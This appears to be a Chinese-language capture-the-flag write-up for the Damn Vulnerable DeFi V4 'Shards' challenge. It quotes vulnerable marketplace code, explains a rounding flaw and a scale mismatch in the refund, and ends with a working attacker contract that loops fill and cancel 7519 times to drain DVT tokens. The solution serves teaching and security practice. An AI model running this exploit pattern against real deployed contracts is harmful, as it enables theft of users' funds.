Damn-vulnerable-defi-V4-solution(Shards)
一、Shards
背景:
我们有一个销售 NFT 的市场。每个 NFT 的价格为 1,000,000e6 USDC,USDC 兑换 DVT 的汇率为 75e15。该市场允许购买 NFT 的一部分,类似于购买股票。总共有 10,000,000e18 股。问题在于 中的以下函数ShardsNFTMarketplace.sol。
ShardsFeeVault市场还允许用户质押 DVT 来赚取利息,但这可能与此无关。
function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) {
Offer storage offer = offers[offerId];
if (want == 0) revert BadAmount();
if (offer.price == 0) revert UnknownOffer();
if (want > offer.stock) revert OutOfStock();
if (!offer.isOpen) revert NotOpened(offerId);
offer.stock -= want;
purchaseIndex = purchases[offerId].length;
uint256 _currentRate = rate;
purchases[offerId].push(
Purchase({
shards: want,
rate: _currentRate,
buyer: msg.sender,
timestamp: uint64(block.timestamp),
cancelled: false
})
);
paymentToken.transferFrom(
msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards)
);
if (offer.stock == 0) _closeOffer(offerId);
}
/**
* @notice To cancel open offers once the waiting period is over.
*/
function cancel(uint64 offerId, uint256 purchaseIndex) external {
Offer storage offer = offers[offerId];
Purchase storage purchase = purchases[offerId][purchaseIndex];
address buyer = purchase.buyer;
if (msg.sender != buyer) revert NotAllowed();
if (!offer.isOpen) revert NotOpened(offerId);
if (purchase.cancelled) revert AlreadyCancelled();
if (
purchase.timestamp + CANCEL_PERIOD_LENGTH < block.timestamp
|| block.timestamp > purchase.timestamp + TIME_BEFORE_CANCEL
) revert BadTime();
offer.stock += purchase.shards;
assert(offer.stock <= offer.totalShards); // invariant
purchase.cancelled = true;
emit Cancelled(offerId, purchaseIndex);
paymentToken.transfer(buyer, purchase.shards.mulDivUp(purchase.rate, 1e6));
}
/**
* @notice Allows an oracle account to set a new rate of DVT per USDC
*/
function setRate(uint256 newRate) external {
if (msg.sender != oracle) revert NotAllowed();
if (newRate == 0 || rate == newRate) revert BadRate();
rate = newRate;
}该fill功能允许我们提交所需数量的股票并使用 DVT 支付:
数量 = 需求 / 总碎片数 × 价格 × 费率
= want / 10_000_000e18 × 75e15 × 1_000_000 = want × 75 / 1_0_000
攻击角度是这里的除法是向下取整的(即使用了floor函数),而Solidity只有整数,所以只要want ≤ 133,支付就是零,即我们可以提交一个fill offer获得133个免费share。
让我们看一下这个cancel函数,因为有一个关键缺陷,取消函数会取消我们提交的订单。如果我们取消订单,我们将从这个函数中得到want× 75e15 / 1e6。这里的问题是 1e6 与 1e24 不匹配,也就是总份额。也就是说,这个函数的设计存在错误cancel。因此,通过取消分片为 133 的订单,我们可以得到
133 × 75e15 / 1e6 = 9975000000000 DVT 代币。
要通过挑战,我们需要获得超过 75e15 个 DVT 代币(相当于市场初始代币数量的 1/10000)。因此,我们至少需要 75e15 / 9975000000000 = 7519 次才能达到目标。
function test_shards() public checkSolvedByPlayer {
new Attacker(marketplace, token, recovery);
}contract Attacker {
constructor(ShardsNFTMarketplace marketPlace, DamnValuableToken token, address recovery) {
for (uint256 i = 0; i < 7519; i++) {
marketPlace.fill(1, 133);
marketPlace.cancel(1, i);
}
token.transfer(recovery, token.balanceOf(address(this)));
}
}